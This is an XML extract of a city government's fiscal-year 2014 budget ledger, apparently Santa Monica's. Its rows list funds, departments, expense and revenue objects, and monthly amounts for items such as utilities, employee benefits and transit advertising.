<row _id="12094"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT GOV&amp;COMUNITY RELATIONS</division_name><object>522549.0</object><object_description>ADVERTISING PAYMENTS (CCB)</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>110250.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>110250.0</total></row>
<row _id="12095"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>627.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>627.0</total></row>
<row _id="12096"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>6150.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6150.0</total></row>
<row _id="12097"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>567220.0</object><object_description>PFA 2011A (PKG ST 6)</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2667131.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2667131.0</total></row>
<row _id="12098"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>409080.0</object><object_description>ADULT SOCCER LEAGUE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-245999.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-245999.0</total></row>
<row _id="12099"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>24947.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>24947.0</total></row>
<row _id="12100"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1663.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>6</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1669.0</total></row>
<row _id="12101"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>107368.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>107368.0</total></row>
<row _id="12102"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>522120.0</object><object_description>UTILITIES - NATURAL GAS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>6400.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6400.0</total></row>
<row _id="12103"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4100.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4100.0</total></row>
<row _id="12104"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>405720.0</object><object_description>CUPA ELECTRONIC REPORTING</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>-29793.0</june><total>-29793.0</total></row>
<row _id="12105"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>300.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>300.0</total></row>
<row _id="12106"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>248</division_id><division_name>COMMUNITY BROADBAND</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>51162.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>51162.0</total></row>
<row _id="12107"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>248</division_id><division_name>COMMUNITY BROADBAND</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>6876.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6876.0</total></row>
<row _id="12108"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>248</division_id><division_name>COMMUNITY BROADBAND</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>538.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>538.0</total></row>
<row _id="12109"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>588110.0</object><object_description>TRAFFIC CONTROL EQUIPMENT</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>29051.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>29051.0</total></row>
<row _id="12110"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>UTILITIES-WATER-CITY YARDS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>25500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>25500.0</total></row>
<row _id="12111"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>210196.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>210196.0</total></row>
<row _id="12112"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>27657.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>708.33</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>28365.33</total></row>
<row _id="12113"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>14133.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>375.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>14508.0</total></row>
<row _id="12114"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>206668.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>206668.0</total></row>
<row _id="12115"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2988.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>222</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3210.0</total></row>
<row _id="12116"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>8282.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>161.45</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8443.45</total></row>
<row _id="12117"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>805.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>805.0</total></row>
<row _id="12118"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-185159.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-185159.0</total></row>
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<row _id="12120"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-37705.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-37705.0</total></row>
<row _id="12121"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>7328.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>79.17</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7407.17</total></row>
<row _id="12122"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3467.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3467.0</total></row>
<row _id="12123"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>43220.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>43220.0</total></row>
<row _id="12124"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5774.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5774.0</total></row>
<row _id="12125"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577762.0</object><object_description>CDBG REIMB-PUBLIC WORKS</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>-65000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-65000.0</total></row>
<row _id="12126"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>43</fund_id><fund_name>Gas Tax Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>400750.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>616.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2014</fiscal_year><july>-9000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-9000.0</total></row>
<row _id="12127"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>400620.0</object><object_description>RESURFACING PERMITS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-17479.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-17479.0</total></row>
<row _id="12128"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>408000.0</object><object_description>INTERFUND SERVICES-ST MAINTENA</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-5000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-5000.0</total></row>
<row _id="12129"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>522230.0</object><object_description>CREDIT CARD FEES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2317730.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2317730.0</total></row>
<row _id="12130"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>402050.0</object><object_description>TRANSPORTATION IMPACT FEE</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-570000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>135083.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-434917.0</total></row>
<row _id="12131"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>672</division_id><division_name>CHARNOCK TREATMENT PLANT</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>470524.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>470524.0</total></row>
<row _id="12132"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511746.0</object><object_description>MED TRUST - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>8614.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8614.0</total></row>
<row _id="12133"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>CONT SVCS-1730 4TH ST</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>21210.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>21210.0</total></row>
<row _id="12134"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>25000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>25000.0</total></row>
<row _id="12135"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>566330.0</object><object_description>STREET LIGHT MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>190400.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>190400.0</total></row>
<row _id="12136"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>162418.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>162418.0</total></row>
<row _id="12137"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>533110.0</object><object_description>SPECIAL EQUIPMENT-OPER SUPS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>99332.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>99332.0</total></row>
<row _id="12138"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1200.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1200.0</total></row>
<row _id="12139"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>380.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>380.0</total></row>
<row _id="12140"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>86338.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>86338.0</total></row>
<row _id="12141"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1107.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1107.0</total></row>
<row _id="12142"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-7133.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-7133.0</total></row>
